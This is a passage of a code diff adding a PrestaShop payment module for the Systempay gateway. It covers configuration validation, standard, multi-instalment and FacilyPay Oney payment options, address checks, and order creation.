'Maximum amount'), + array('key' => 'SYSTEMPAY_ONEY_SHIP_OPTIONS', 'default' => array(), 'label' => 'Shipping options'), + array('key' => 'SYSTEMPAY_ONEY_PROD_CAT', 'default' => array(), 'label' => 'Product categories options'), + array('key' => 'SYSTEMPAY_ONEY_CAT_MODE', 'default' => '0', 'label' => ''), + array('key' => 'SYSTEMPAY_ONEY_COM_CAT', 'default' => 'FOOD_AND_GROCERY', 'label' => '') + ); + } + + /** + * Returns a new SystempayMultiApi object loaded with the module configuration + * @return SystempayMultiApi + */ + public function getLoadedApi() { + if($this->_systempayApi == null) { + $this->_systempayApi = new SystempayMultiApi(); + $this->_systempayApi->set('version', 'V2'); + $this->_systempayApi->set('contrib', 'Prestashop1.5.0.x_1.2f/' . _PS_VERSION_); + + foreach ($this->_getAdminParameters() as $param) { + if(key_exists('name', $param) && isset($param['name'])) { + // only set systempay payment params + $this->_systempayApi->set($param['name'], Configuration::get($param['key'])); + } + } + } + + return $this->_systempayApi; + } + + /** + * @see PaymentModuleCore::install() + */ + public function install() { + if (!method_exists('Tools', 'version_compare') || Tools::version_compare(_PS_VERSION_, '1.5')) { + // incompatible version of Prestashop + return false; + } + + if (!parent::install() || !$this->registerHook('header') || !$this->registerHook('displayBackOfficeHeader') + || !$this->registerHook('payment') || !$this->registerHook('paymentReturn') || !$this->registerHook('displayShoppingCart')) { + return false; + } + + foreach ($this->_getAdminParameters() as $param) { + if(in_array($param['key'], $this->_multiLangFields)) { + // multilingual field, use prestashop IDs as keys + $default = array(); + + foreach (Language::getLanguages(false) as $language) { + $default[$language['id_lang']] = key_exists($language['iso_code'], $param['default']) ? $param['default'][$language['iso_code']] : ''; + } + } else { + $default = $param['default']; + } + + if (!Configuration::updateValue($param['key'], $default, false, false, false)) { + return false; + } + } + + + + return true; + } + + /** + * @see PaymentModuleCore::uninstall() + */ + public function uninstall() { + $result = true; + foreach ($this->_getAdminParameters() as $param) { + $result &= Configuration::deleteByName($param['key']); + } + + // delete all obsolete systempay params but custom order states + $result &= Db::getInstance()->execute("DELETE FROM `"._DB_PREFIX_."configuration` WHERE `name` LIKE 'SYSTEMPAY_%' AND `name` NOT LIKE 'SYSTEMPAY_OS_%'"); + + return $result && parent::uninstall(); + } + + /** + * Admin form management + * @return string + */ + public function getContent() { + $msg = ''; + + if (Tools::isSubmit('systempay_submit_admin_form')) { + $this->_postProcess(); + + if (!count($this->_errors)) { + // no error, display update ok message + $msg .= $this->displayConfirmation($this->l('Settings updated.')); + } else { + // display errors + $msg .= $this->displayError(implode('
        ', $this->_errors)); + } + + $msg .= '
        '; + } + + return $msg . $this->_renderForm(); + } + + /** + * Validate and save module admin parameters + */ + private function _postProcess() { + $api = new SystempayApi(); // new instance of SystempayApi for parameters validation + + // load and validate from request + foreach ($this->_getAdminParameters() as $param) { + $key = $param['key']; + $label = $this->l($param['label'], 'systempayadmindisplay', null); + + $value = Tools::getValue($key, null); + + if(in_array($key, $this->_multiLangFields)) { + $value = array(); + + foreach (Language::getLanguages(false) as $language) { + $value[$language['id_lang']] = Tools::getValue($key . '_' . $language['id_lang'], ''); + } + } elseif($key === 'SYSTEMPAY_MULTI_OPTIONS') { + if (!is_array($value) || empty($value)) { + $value = array(); + } else { + $error = false; + foreach ($value as $opt => $option) { + if (!$option['label'] + || !is_numeric($option['count']) + || !is_numeric($option['period']) + || ($option['first'] && (!is_numeric($option['first']) || $option['first'] < 0 || $option['first'] > 100))) { + + unset($value[$opt]); // not save this option + $error = true; + } + } + + if($error) { + $this->_errors[] = $this->l('One or more values are invalid for field "Payment options". Only valid lines are saved.'); + } + } + + $value = serialize($value); + } elseif($key === 'SYSTEMPAY_AVAILABLE_LANGUAGES' || $key === 'SYSTEMPAY_PAYMENT_CARDS') { + $value = (is_array($value) && count($value) > 0) ? implode(';', $value) : ''; + + if($value == '' && $key === 'SYSTEMPAY_PAYMENT_CARDS') { + // empty values for SYSTEMPAY_PAYMENT_CARDS are not allowed + $this->_errors[] = $this->l('You must select at least one card type.'); + continue; + } + } elseif($key === 'SYSTEMPAY_ONEY_SHIP_OPTIONS') { + if (!is_array($value) || empty($value)) { + $value = array(); + } else { + foreach ($value as $id => $option) { + $carrier = $option['carrier_label'] . ($option['address'] ? ' ' . $option['address'] : ''); + + if (!preg_match(self::DELIVERY_COMPANY_REGEX, $carrier)) { + unset($value[$id]['address']); // not save this option + $this->_errors[] = sprintf($this->l('Invalid value "%s" for field "%s".'), $option['carrier_label'] . ' ' . $option['address'], $label); + } + } + } + + $value = serialize($value); + } elseif($key === 'SYSTEMPAY_ONEY_PROD_CAT') { + if (!is_array($value) || empty($value)) { + $value = array(); + } + $value = serialize($value); + } elseif(($key === 'SYSTEMPAY_ONEY_ENABLED') && ($value == 'True')) { + $oneyErrors = $this->_validateOney(); + if (is_array($oneyErrors) && !empty($oneyErrors)) { + $this->_errors = array_merge($this->_errors, $oneyErrors); + $value = 'False'; // there is errors, not allow Oney activation + } + } elseif(in_array($key, $this->_amountFields)) { + if (!empty($value) && (!is_numeric($value) || $value < 0)) { + $this->_errors[] = sprintf($this->l('Invalid value "%s" for field "%s".'), $value, $label); + continue; + } + } elseif ($key === 'SYSTEMPAY_STD_CARD_DATA_MODE' && $value == '3' && !$this->_checkSsl()) { + $value = '1'; + $this->_errors[] = $this->l('The card data entry on merchant site cannot be used without enabling SSL.'); + } + + // validate with SystempayApi + if(key_exists('name', $param) && isset($param['name']) && !$api->set($param['name'], $value)) { + if(empty($value)) { + $this->_errors[] = sprintf($this->l('The field "%s" is mandatory.'), $label); + } else { + $this->_errors[] = sprintf($this->l('Invalid value "%s" for field "%s".'), $value, $label); + } + + continue; + } + + // valid field : try to save into DB + if (!Configuration::updateValue($key, $value)) { + $this->_errors[] = sprintf($this->l('Problem occured while saving field "%s".'), $label); + } else { + // temporary variable set to update PrestaShop cache + Configuration::set($key, $value); + } + } + } + + private function _validateOney() { + $errors = array(); + if (Configuration::get('PS_ALLOW_MULTISHIPPING') === '1') { + $errors[] = $this->l('Multishipping is activated. FacilyPay Oney payment cannot be enabled.'); + } + + $amountMin = Tools::getValue('SYSTEMPAY_ONEY_AMOUNT_MIN', null); + $amountMax = Tools::getValue('SYSTEMPAY_ONEY_AMOUNT_MAX', null); + if (empty($amountMin) || !is_numeric($amountMin) || $amountMin < 0 || empty($amountMax) || !is_numeric($amountMax) || $amountMax < 0) { + $errors[] = $this->l('Please, enter minimum and maximum amounts in FacilyPay Oney payment tab as agreed with Banque Accord.'); + } + + return $errors; + } + + private function _checkSsl() { + return Configuration::get('PS_SSL_ENABLED') === '1'; + } + + private function _renderForm() { + $display = new SystempayAdminDisplay($this); + + $this->context->smarty->assign( + array( + 'systempay_request_uri' => htmlentities($_SERVER['REQUEST_URI']), + 'systempay_common' => $display->commonHtml(), + 'systempay_general_tab' => $display->generalTabHtml(), + 'systempay_single_tab' => $display->singleTabHtml(), + 'systempay_multi_tab' => $display->multiTabHtml(), + 'systempay_oney_tab' => $display->oneyTabHtml(), + 'tabs' => ($tab = (int)Tools::getValue('tabs')) ? $tab : '0', + ) + ); + + return $this->context->smarty->fetch(_PS_MODULE_DIR_ . 'systempay/views/templates/back/back_office.tpl'); + } + + /** + * Payment method selection page header. + * @param array $params + */ + public function hookHeader() { + if (($this->context->controller instanceof OrderController && $this->context->controller->step == 3) + || $this->context->controller instanceof OrderOpcController) { + + $suffix = ''; + if(Tools::version_compare(_PS_VERSION_, '1.6')) { + $suffix = '_1.5'; + } + + $this->context->controller->addCSS($this->_path . "views/css/systempay{$suffix}.css", 'all'); + } + } + + /** + * Module admin configuration page header. + * @param array $params + */ + public function hookDisplayBackOfficeHeader() { + if($this->context->controller instanceof AdminModulesController && (Tools::getValue('configure', '') == $this->name)) { + $this->context->controller->addJS($this->_path . 'views/js/systempay.js'); + $this->context->controller->addJqueryPlugin('tabpane'); + + if(Tools::version_compare(_PS_VERSION_, '1.6', '>=')) { + // workaround to make multilingual fields working. TODO use Prestashop 1.6 language selection mode. + return ''; + } + } + } + + /** + * Payment function, redirects the client to payment page + * @param array $params + * @return void|Ambigous + */ + public function hookPayment($params) { + /* @var $cart Cart */ + $cart = $this->context->cart; + $cust = $this->context->customer; + + // currency support + if (!$this->_checkCurrency()) { + return; + } + + $this->context->smarty->assign('back_compat', Tools::version_compare(_PS_VERSION_, '1.6')); + + $_html = ''; + + if ($this->_checkStandardPayment()) { + $this->context->smarty->assign('systempay_std_title', Configuration::get('SYSTEMPAY_STD_TITLE', $this->context->language->id)); + + $cards = Configuration::get('SYSTEMPAY_PAYMENT_CARDS'); + if(!empty($cards)) { + $cards = explode(';', $cards); + } else { + // if no card type selected, display all supported cards + $cards = array_keys($this->getLoadedApi()->getSupportedCardTypes()); + } + + $this->context->smarty->assign('systempay_avail_cards', $cards); + + $entryMode = Configuration::get('SYSTEMPAY_STD_CARD_DATA_MODE'); + if($entryMode === '3' && !$this->_checkSsl()) { // no data entry on merchant site without SSL + $entryMode = '1'; + } + $this->context->smarty->assign('systempay_std_card_data_mode', $entryMode); + + $_html .= $this->display(__FILE__, 'payment_std.tpl'); + } + + + if ($this->_checkMultiPayment()) { + $this->context->smarty->assign('systempay_multi_title', Configuration::get('SYSTEMPAY_MULTI_TITLE', $this->context->language->id)); + + // multi payment options + $this->context->smarty->assign('systempay_multi_options', $this->_getAvailableMultiPaymentOptions()); + $_html .= $this->display(__FILE__, 'payment_multi.tpl'); + } + + + if ($this->_checkOneyPayment()) { + $this->context->smarty->assign('systempay_oney_title', Configuration::get('SYSTEMPAY_ONEY_TITLE', $this->context->language->id)); + + // check address validity according to Oney payment specifications + $billingAddress = new Address($cart->id_address_invoice); + + $deliveryAddress = new Address($cart->id_address_delivery); + $colissimoAddress = $this->_getColissimoShippingAddress($cart, $deliveryAddress, $cust->id); + if (is_a($colissimoAddress, 'Address')) { + $deliveryAddress = $colissimoAddress; + } + + $errors = $this->_checkAddressValidity($billingAddress, 'billing address'); + if(empty($errors)) { + // billing address is valid, check delivery address + $errors = $this->_checkAddressValidity($deliveryAddress, 'delivery address'); + } + + if (!empty($errors)) { + $this->context->smarty->assign('systempay_oney_errors', $errors); + $_html .= $this->display(__FILE__, 'payment_oney_errors.tpl'); + } else { + $_html .= $this->display(__FILE__, 'payment_oney.tpl'); + } + } + + return $_html; + } + + private function _checkCurrency() { + $cart = $this->context->cart; + + $cartCurrency = new Currency((int)$cart->id_currency); + $currencies = $this->getCurrency((int)$cart->id_currency); + + if (!is_array($currencies) || !count($currencies)) { + return false; + } + + foreach ($currencies as $currency) { + if ($cartCurrency->id == $currency['id_currency']) { // cart currency is allowed for this module + return $this->getLoadedApi()->findCurrencyByAlphaCode($cartCurrency->iso_code) != null; + } + } + + return false; + } + + private function _checkStandardPayment() { + if (Configuration::get('SYSTEMPAY_STD_ENABLED') != 'True') { + return false; + } + + $cart = $this->context->cart; + + // check amount restrictions + $min = Configuration::get('SYSTEMPAY_STD_AMOUNT_MIN'); + $max = Configuration::get('SYSTEMPAY_STD_AMOUNT_MAX'); + if (($min != '' && $cart->getOrderTotal() < $min) || ($max != '' && $cart->getOrderTotal() > $max)) { + return false; + } + + return true; + } + + private function _checkMultiPayment() { + if(Configuration::get('SYSTEMPAY_MULTI_ENABLED') != 'True') { + return false; + } + + $cart = $this->context->cart; + + // check amount restrictions + $min = Configuration::get('SYSTEMPAY_MULTI_AMOUNT_MIN'); + $max = Configuration::get('SYSTEMPAY_MULTI_AMOUNT_MAX'); + if (($min != '' && $cart->getOrderTotal() < $min) || ($max != '' && $cart->getOrderTotal() > $max)) { + return false; + } + + // check available options + if (!count($this->_getAvailableMultiPaymentOptions())) { + return false; + } + + return true; + } + + private function _getAvailableMultiPaymentOptions() { + // multi payment options + $options = @unserialize(Configuration::get('SYSTEMPAY_MULTI_OPTIONS')); + if(!is_array($options) || !count($options)) { + return array(); + } + + $cart = $this->context->cart; + + $enabledOptions = array(); + foreach ($options as $key => $option) { + $min = $option['amount_min']; + $max = $option['amount_max']; + + if (($min == '' || $cart->getOrderTotal() >= $min) && ($max == '' || $cart->getOrderTotal() <= $max)) { + $enabledOptions[$key] = $option; + } + } + + return $enabledOptions; + } + + private function _checkOneyPayment() { + if(Configuration::get('SYSTEMPAY_ONEY_ENABLED') != 'True') { + return false; + } + + // check multi shipping + if(Configuration::get('PS_ALLOW_MULTISHIPPING') == '1') { + return false; + } + + $cart = $this->context->cart; + + // check amount restrictions + $min = Configuration::get('SYSTEMPAY_ONEY_AMOUNT_MIN'); + $max = Configuration::get('SYSTEMPAY_ONEY_AMOUNT_MAX'); + if (($min != '' && $cart->getOrderTotal() < $min) || ($max != '' && $cart->getOrderTotal() > $max)) { + return false; + } + + // check order_id param + if(!preg_match(self::ORDER_ID_REGEX, $cart->id)) { + $msg = 'Order ID "%s" does not match FacilyPay Oney specifications. The regular expression for this field is %s. Module is not displayed.'; + $this->logger->logWarning(sprintf($msg, $cart->id, self::ORDER_ID_REGEX)); + return false; + } + + // check cust_id param + $cust = $this->context->customer; + if(!preg_match(self::CUST_ID_REGEX, $cust->id)) { + $msg = 'Customer ID "%s" does not match FacilyPay Oney specifications. The regular expression for this field is %s. Module is not displayed.'; + $this->logger->logWarning(sprintf($msg, $cust->id, self::CUST_ID_REGEX)); + return false; + } + + // check products + foreach ($cart->getProducts(true) as $product) { + if(!preg_match(self::PRODUCT_REF_REGEX, $product['id_product'])) { + // product id doesn't match FacilyPay Oney rules + + $msg = 'Product reference "%s" does not match FacilyPay Oney specifications. The regular expression for this field is %s. Module is not displayed.'; + $this->logger->logWarning(sprintf($msg, $product['id_product'], self::PRODUCT_REF_REGEX)); + return false; + } elseif(!preg_match(self::PRODUCT_LABEL_REGEX, $product['name'])) { + // product label doesn't match FacilyPay Oney rules + + $msg = 'Product label "%s" does not match FacilyPay Oney specifications. The regular expression for this field is %s. Module is not displayed.'; + $this->logger->logWarning(sprintf($msg, $product['name'], self::PRODUCT_LABEL_REGEX)); + return false; + } + } + + return true; + } + + private function _checkAddressValidity($address, $addressType) { + $invalidMsg = $this->l('The field %s of your %s is invalid.'); + $emptyMsg = $this->l('The field %s of your %s is mandatory.'); + + $nameRegex = "#^[A-ZÃÀÂÄÉÈÊËÃÌÎÃÓÒÔÖÚÙÛÜÇ/ '-]{1,63}$#ui"; + $phoneRegex = "#^[0-9]{10}$#"; + $cityRegex = "#^[A-Z0-9ÃÀÂÄÉÈÊËÃÌÎÃÓÒÔÖÚÙÛÜÇ/ '-]{1,127}$#ui"; + $streetRegex = "#^[A-Z0-9ÃÀÂÄÉÈÊËÃÌÎÃÓÒÔÖÚÙÛÜÇ/ '.,-]{1,127}$#ui"; + $countryRegex = "#^FR$#i"; + $zipRegex = "#^[0-9]{5}$#"; + + $errors = array(); + + if(empty($address->lastname)) { + $errors[] = sprintf($emptyMsg, $this->l('Last name'), $this->l($addressType)); + } elseif(!preg_match($nameRegex, $address->lastname)) { + $errors[] = sprintf($invalidMsg, $this->l('Last name'), $this->l($addressType)); + } + + if(empty($address->firstname)) { + $errors[] = sprintf($emptyMsg, $this->l('First name'), $this->l($addressType)); + } elseif(!preg_match($nameRegex, $address->firstname)) { + $errors[] = sprintf($invalidMsg, $this->l('First name'), $this->l($addressType)); + } + + if(!empty($address->phone) && !preg_match($phoneRegex, $address->phone)) { + $errors[] = sprintf($invalidMsg, $this->l('Phone'), $this->l($addressType)); + } + + if(!empty($address->phone_mobile) && !preg_match($phoneRegex, $address->phone_mobile)) { + $errors[] = sprintf($invalidMsg, $this->l('Phone mobile'), $this->l($addressType));; + } + + if(empty($address->address1)) { + $errors[] = sprintf($emptyMsg, $this->l('Address'), $this->l($addressType)); + } elseif(!preg_match($streetRegex, $address->address1)) { + $errors[] = sprintf($invalidMsg, $this->l('Address'), $this->l($addressType)); + } + + if(!empty($address->address2) && !preg_match($streetRegex, $address->address2)) { + $errors[] = sprintf($invalidMsg, $this->l('Address2'), $this->l($addressType)); + } + + if(empty($address->postcode)) { + $errors[] = sprintf($emptyMsg, $this->l('Zip code'), $this->l($addressType)); + } elseif(!preg_match($zipRegex, $address->postcode)) { + $errors[] = sprintf($invalidMsg, $this->l('Zip code'), $this->l($addressType)); + } + + if(empty($address->city)) { + $errors[] = sprintf($emptyMsg, $this->l('City'), $this->l($addressType)); + } elseif(!preg_match($cityRegex, $address->city)) { + $errors[] = sprintf($invalidMsg, $this->l('City'), $this->l($addressType)); + } + + $country = new Country($address->id_country); + if(empty($country->iso_code)) { + $errors[] = sprintf($emptyMsg, $this->l('Country'), $this->l($addressType)); + } elseif(!preg_match($countryRegex, $country->iso_code)) { + $errors[] = sprintf($invalidMsg, $this->l('Country'), $this->l($addressType)); + } + + return $errors; + } + + + /** + * Manage payement gateway response + * @param array $params + */ + public function hookPaymentReturn($params) { + if (!$this->active || $params['objOrder']->module != $this->name) { + return; + } + + $error_msg = (Tools::getValue('error') == 'yes'); + + $array = array( + 'check_url_warn' => (Tools::getValue('check_url_warn') == 'yes'), + 'maintenance_mode' => (Configuration::get('PS_SHOP_ENABLE') == '0'), + 'prod_info' => (Tools::getValue('prod_info') == 'yes'), + 'error_msg' => $error_msg + ); + + if ($error_msg === false) { + $array['total_to_pay'] = Tools::displayPrice($params['total_to_pay'], $params['currencyObj'], false); + $array['id_order'] = $params['objOrder']->id; + } + + $this->context->smarty->assign($array); + + /* Remarketing Google conversion */ + $gm_orderProducts_tax_excl = $params['objOrder']->getTotalProductsWithoutTaxes(); + + $this->context->smarty->assign(array('gm_order_total_tax_excl' => $gm_orderProducts_tax_excl)); + /* End remarketing */ + + return $this->display(__FILE__, 'payment_return.tpl'); + } + + /** + * Before shopping cart display. + * @param array $params + */ + public function hookDisplayShoppingCart() { + if(Tools::getValue('systempay_pay_error') == 'yes') { + $this->context->controller->errors[] = $this->l('Your payment was not accepted. Please, try to re-order.'); + + // unset HTTP_REFERER from smarty server variable to avoid back button display + $server = $_SERVER; + unset($_SERVER['HTTP_REFERER']); + $this->context->smarty->assign('server', $_SERVER); + } + } + + // TODO to remove when So Colissimo fix cart delivery address id + private function _getColissimoShippingAddress($cart, $psAddress, $idCustomer) { + // So Colissimo not installed + if(!Configuration::get('SOCOLISSIMO_CARRIER_ID')) { + return false; + } + + // So Colissimo is not selected as shipping method + if ($cart->id_carrier != Configuration::get('SOCOLISSIMO_CARRIER_ID')) { + return false; + } + + // Get address saved by So Colissimo + $return = Db::getInstance()->getRow('SELECT * FROM '._DB_PREFIX_.'socolissimo_delivery_info WHERE id_cart =\''.(int)($cart->id).'\' AND id_customer =\''.(int)($idCustomer).'\''); + $newAddress = new Address(); + + if (strtoupper($psAddress->lastname) != strtoupper($return['prname']) + || strtoupper($psAddress->firstname) != strtoupper($return['prfirstname']) + || strtoupper($psAddress->address1) != strtoupper($return['pradress3']) + || strtoupper($psAddress->address2) != strtoupper($return['pradress2']) + || strtoupper($psAddress->postcode) != strtoupper($return['przipcode']) + || strtoupper($psAddress->city) != strtoupper($return['prtown']) + || str_replace(array(' ', '.', '-', ',', ';', '+', '/', '\\', '+', '(', ')'),'',$psAddress->phone_mobile) != $return['cephonenumber']) { + + // Address is modified in So Colissimo page : use it as shipping address + $newAddress->lastname = substr($return['prname'], 0, 32); + $newAddress->firstname = substr($return['prfirstname'], 0, 32); + $newAddress->postcode = $return['przipcode']; + $newAddress->city = $return['prtown']; + $newAddress->id_country = Country::getIdByName(null, 'france'); + + if (!in_array($return['delivery_mode'], array('DOM', 'RDV'))) { + $newAddress->address1 = $return['pradress1']; + $newAddress->address1 .= isset($return['pradress2']) ? ' ' . $return['pradress2'] : ''; + $newAddress->address1 .= isset($return['pradress3']) ? ' ' . $return['pradress3'] : ''; + $newAddress->address1 .= isset($return['pradress4']) ? ' ' . $return['pradress4'] : ''; + } else { + $newAddress->address1 = $return['pradress3']; + $newAddress->address2 = isset($return['pradress4']) ? $return['pradress4'] : ''; + $newAddress->other = isset($return['pradress1']) ? $return['pradress1'] : ''; + $newAddress->other .= isset($return['pradress2']) ? ' ' . $return['pradress2'] : ''; + } + + // Return the So Colissimo updated + return $newAddress; + } else { + // Use initial address + return false; + } + } + + /** + * Generate form fields to post to the payment gateway. + */ + public function getFormFields($type='standard', $data=array()) { + /* @var $cust Customer */ + /* @var $cart Cart */ + $cust = $this->context->customer; + $cart = $this->context->cart; + + /* @var $billingCountry Address */ + $billingAddress = new Address($cart->id_address_invoice); + $billingCountry = new Country($billingAddress->id_country); + + /* @var $deliveryAddress Address */ + $deliveryAddress = new Address($cart->id_address_delivery); + + // TODO to remove when So Colissimo fix cart delivery address id + $colissimoAddress = $this->_getColissimoShippingAddress($cart, $deliveryAddress, $cust->id); + if (is_a($colissimoAddress, 'Address')) { + $deliveryAddress = $colissimoAddress; + } + $deliveryCountry = new Country($deliveryAddress->id_country); + + /* @var $api SystempayApi */ + $api = $this->getLoadedApi(); + + /* detect default language */ + $language = strtolower(Language::getIsoById(intval($this->context->language->id))); + if (!$api->isSupportedLanguage($language)) { + $language = Configuration::get('SYSTEMPAY_DEFAULT_LANGUAGE'); + } + + /* detect store currency */ + $cartCurrency = new Currency(intval($cart->id_currency)); + $currency = $api->findCurrencyByAlphaCode($cartCurrency->iso_code); + + /* Amount */ + $amount = $cart->getOrderTotal(); + + $api->set('amount', $currency->convertAmountToInteger($amount)); + $api->set('currency', $currency->num); + + $api->set('cust_email', $cust->email); + $api->set('cust_id', $cust->id); + + $custTitle = new Gender((int) ($cust->id_gender)); + $api->set('cust_title', $custTitle->name[Context::getContext()->language->id]); + + $api->set('cust_first_name', $billingAddress->firstname); + $api->set('cust_last_name', $billingAddress->lastname); + $api->set('cust_address', $billingAddress->address1 . ' ' . $billingAddress->address2); + $api->set('cust_zip', $billingAddress->postcode); + $api->set('cust_city', $billingAddress->city); + $api->set('cust_phone', $billingAddress->phone); + $api->set('cust_country', $billingCountry->iso_code); + if ($billingAddress->id_state) { + $state = new State((int) ($billingAddress->id_state)); + $api->set('cust_state', $state->iso_code); + } + + $title = ''; + + $this->logger->logInfo("Form data generation for cart #{$cart->id} with $type payment."); + + switch ($type) { + case 'standard' : + // single payment card data + + if(key_exists('card_type', $data) && $data['card_type']) { + // override payemnt_cards var + $api->set('payment_cards', $data['card_type']); + } + + if(key_exists('card_number', $data) && $data['card_number']) { + $api->set('card_number', $data['card_number']); + $api->set('cvv', $data['cvv']); + $api->set('expiry_year', $data['expiry_year']); + $api->set('expiry_month', $data['expiry_month']); + + // override action_mode to do a silent payment + $api->set('action_mode', 'SILENT'); + } + + $title = Configuration::get('SYSTEMPAY_STD_TITLE', $this->context->language->id); + if(!$title) { + $title = $this->l('Payment by bank card'); + } + + break; + + case 'multi' : + // multiple payment options + + $multiOptions = $this->_getAvailableMultiPaymentOptions(); + $option = $multiOptions[$data['opt']]; + + $configFirst = $option['first']; + $first = ($configFirst != '') ? $currency->convertAmountToInteger(($configFirst / 100) * $amount) : null; + $api->setMultiPayment(null /* to use already set amount */, $first, $option['count'], $option['period']); + + // override cb contract + $api->set('contracts', ($option['contract']) ? 'CB=' . $option['contract'] : null); + + $title = Configuration::get('SYSTEMPAY_MULTI_TITLE', $this->context->language->id); + if(!$title) { + $title = $this->l('Payment by bank card in several times'); + } + $title .= ' (' . $option['count'] . ' x)'; + + break; + + case 'oney': + // Oney payment + + // override with Oney payment cards + $api->set('payment_cards', 'ONEY_SANDBOX;ONEY'); + + $products = $cart->getProducts(true); + + if (Configuration::get('SYSTEMPAY_ONEY_CAT_MODE') == '1') { + $category = Configuration::get('SYSTEMPAY_ONEY_COM_CAT'); + } else { + $oneyCategories = @unserialize(Configuration::get('SYSTEMPAY_ONEY_PROD_CAT')); + } + + foreach ($products as $product) { + if(!isset($category)) { + // build query to get product default category + $sql = 'SELECT `id_category_default` FROM `' . _DB_PREFIX_ . 'product` WHERE `id_product` = ' . (int)$product['id_product']; + $dbCategory = Db::getInstance()->getValue($sql); + + $category = $oneyCategories[$dbCategory]; + } + + $api->addProductRequestField( + $product['name'], + $currency->convertAmountToInteger($product['total_wt']), + $product['cart_quantity'], + $product['id_product'], + $category + ); + } + + // Oney delivery options defined in admin panel + $oneyOptions = @unserialize(Configuration::get('SYSTEMPAY_ONEY_SHIP_OPTIONS')); + + // retrieve carrier ID from cart + if (isset($cart->id_carrier) && $cart->id_carrier > 0) { + $carrierId = $cart->id_carrier; + } else { + $deliveryOptionList = $cart->getDeliveryOptionList(); + + $deliveryOption = $cart->getDeliveryOption(); + $carrierKey = $deliveryOption[$deliveryAddress->id]; + + foreach ($deliveryOptionList[$deliveryAddress->id][$carrierKey]['carrier_list'] as $id => $data) { + $carrierId = $id; + break; + } + } + + $shopNameRegexNotAllowed = "#[^A-Z0-9ÃÀÂÄÉÈÊËÃÌÎÃÓÒÔÖÚÙÛÜÇ /'-]#ui"; + if($cart->isVirtualCart() || !isset($carrierId) || !is_array($oneyOptions) || empty($oneyOptions)) { + // No shipping options + $api->set('ship_to_type', 'ETICKET'); + $api->set('ship_to_speed', 'EXPRESS'); + + $shop = Shop::getShop($cart->id_shop); + $api->set('ship_to_delivery_company_name', preg_replace($shopNameRegexNotAllowed, ' ', $shop['name'])); + } elseif (Configuration::get('TNT_CARRIER_' . self::TNT_RELAY_POINT_PREFIX . '_ID') == $carrierId) { + $api->set('ship_to_type', 'RELAY_POINT'); + $api->set('ship_to_speed', 'EXPRESS'); + + if ($row = Db::getInstance()->getRow( + "SELECT * FROM `" . _DB_PREFIX_ . "tnt_carrier_drop_off` + WHERE `id_cart` = '" . $cart->id . "'" + )) { + $tntRelayAddress = $row['name'] . ' ' .$row['address'].' '. $row['zipcode']. ' '. $row['city']; + $api->set('ship_to_delivery_company_name', preg_replace($shop_name_regex, ' ', $tntRelayAddress)); + $api->set('ship_to_last_name', preg_replace($shop_name_regex, ' ', $row['name'])); + $api->set('ship_to_street', preg_replace($shop_name_regex, ' ', $row['address'])); + $api->set('ship_to_zip', $row['zipcode']); + $api->set('ship_to_city', preg_replace($shop_name_regex, ' ', $row['city'])); + $api->set('ship_to_country', 'FR'); + } + } else { + $deliveryType = $oneyOptions[$carrierId]['delivery_type']; + $api->set('ship_to_type', $deliveryType); + + $companyName = $oneyOptions[$carrierId]['carrier_label']; + if($deliveryType === 'RECLAIM_IN_SHOP' + /* || $deliveryType === 'RELAY_POINT' || $deliveryType === 'RECLAIM_IN_STATION' TODO consider these cases */) { + $companyName .= ' ' . $oneyOptions[$carrierId]['address']; + } + + $api->set('ship_to_delivery_company_name', $companyName); + $api->set('ship_to_speed', $oneyOptions[$carrierId]['delivery_speed']); + } + + $api->set('cust_status', 'PRIVATE'); // Prestashop don't manage customer type + $api->set('ship_to_status', $deliveryAddress->company != '' ? 'COMPANY' : 'PRIVATE'); + + $api->set('insurance_amount', ''); // not available in Prestashop by default + $api->set('tax_amount', $currency->convertAmountToInteger($cart->getOrderTotal() - $cart->getOrderTotal(false))); + $api->set('shipping_amount', $currency->convertAmountToInteger($cart->getTotalShippingCost())); + + $title = Configuration::get('SYSTEMPAY_ONEY_TITLE', $this->context->language->id); + if(!$title) { + $title = $this->l('Payment with FacilyPay Oney'); + } + } + + if($api->get('ship_to_type') == null || $api->get('ship_to_type') == 'PACKAGE_DELIVERY_COMPANY') { + $api->set('ship_to_first_name', $deliveryAddress->firstname); + $api->set('ship_to_last_name', $deliveryAddress->lastname); + $api->set('ship_to_street', $deliveryAddress->address1); + $api->set('ship_to_street2', $deliveryAddress->address2); + $api->set('ship_to_zip', $deliveryAddress->postcode); + $api->set('ship_to_city', $deliveryAddress->city); + $api->set('ship_to_phone_num', $deliveryAddress->phone); + $api->set('ship_to_country', $deliveryCountry->iso_code); + + if ($deliveryAddress->id_state) { + $state = new State((int) ($deliveryAddress->id_state)); + $api->set('ship_to_state', $state->iso_code); + } + } + + $api->set('order_info', $title); + + // activate 3ds ? + $threedsMpi = null; + if(Configuration::get('SYSTEMPAY_3DS_MIN_AMOUNT') != '' && $amount < Configuration::get('SYSTEMPAY_3DS_MIN_AMOUNT')) { + $threedsMpi = '2'; + } + $api->set('threeds_mpi', $threedsMpi); + + $api->set('language', $language); + $api->set('order_id', $cart->id); + $api->set('url_return', $this->context->link->getModuleLink($this->name, 'submit', array(), true)); + + // patch to avoid signature error with HTML minifier introduced since Prestashop 1.6.0.3 + if(Configuration::get('PS_HTML_THEME_COMPRESSION') && Tools::version_compare(_PS_VERSION_, '1.6.0.3', '>=')) { + foreach ($api->getRequestFields() as $field) { + $value = preg_replace('/\s+/m', ' ', $field->getValue()); + $api->set($field->getName(), $value); + } + } + + // prepare data for Systempay payment form + return $api->getRequestFieldsArray(); + } + + /** + * Save order and transaction info. + */ + public function saveOrder($cart, $orderStatus, $systempayResponse) { + $this->logger->logInfo("Create order for cart #{$cart->id}."); + + // Retrieve customer from cart + $customer = new Customer($cart->id_customer); + + // ps id_currency from currency iso num code + $currencyId = Currency::getIdByIsoCodeNum((int)$systempayResponse->get('currency')); + + // 3ds extra message + $msg3ds = "\n" . $this->l('3DS authentication : '); + if ($systempayResponse->get('threeds_status') == 'Y') { + $msg3ds .= $this->l('YES'); + $msg3ds .= "\n" . $this->l('3DS certificate : ') . $systempayResponse->get('threeds_cavv'); + } else { + $msg3ds .= $this->l('NO'); + } + + // call payment module validateOrder + $this->validateOrder( + $cart->id, + $orderStatus, + $systempayResponse->getFloatAmount(), + $systempayResponse->get('order_info'), // title defined in admin panel and sent to platform as order_info + $systempayResponse->getLogString() . $msg3ds, + array(), // $extraVars + $currencyId, // $currency_special + false, // $dont_touch_amount + $customer->secure_key + ); + + // reload order + $order = new Order((int)Order::getOrderByCartId($cart->id)); + + $this->logger->logInfo("Order #{$order->id} created successfully for cart #{$cart->id}."); + + 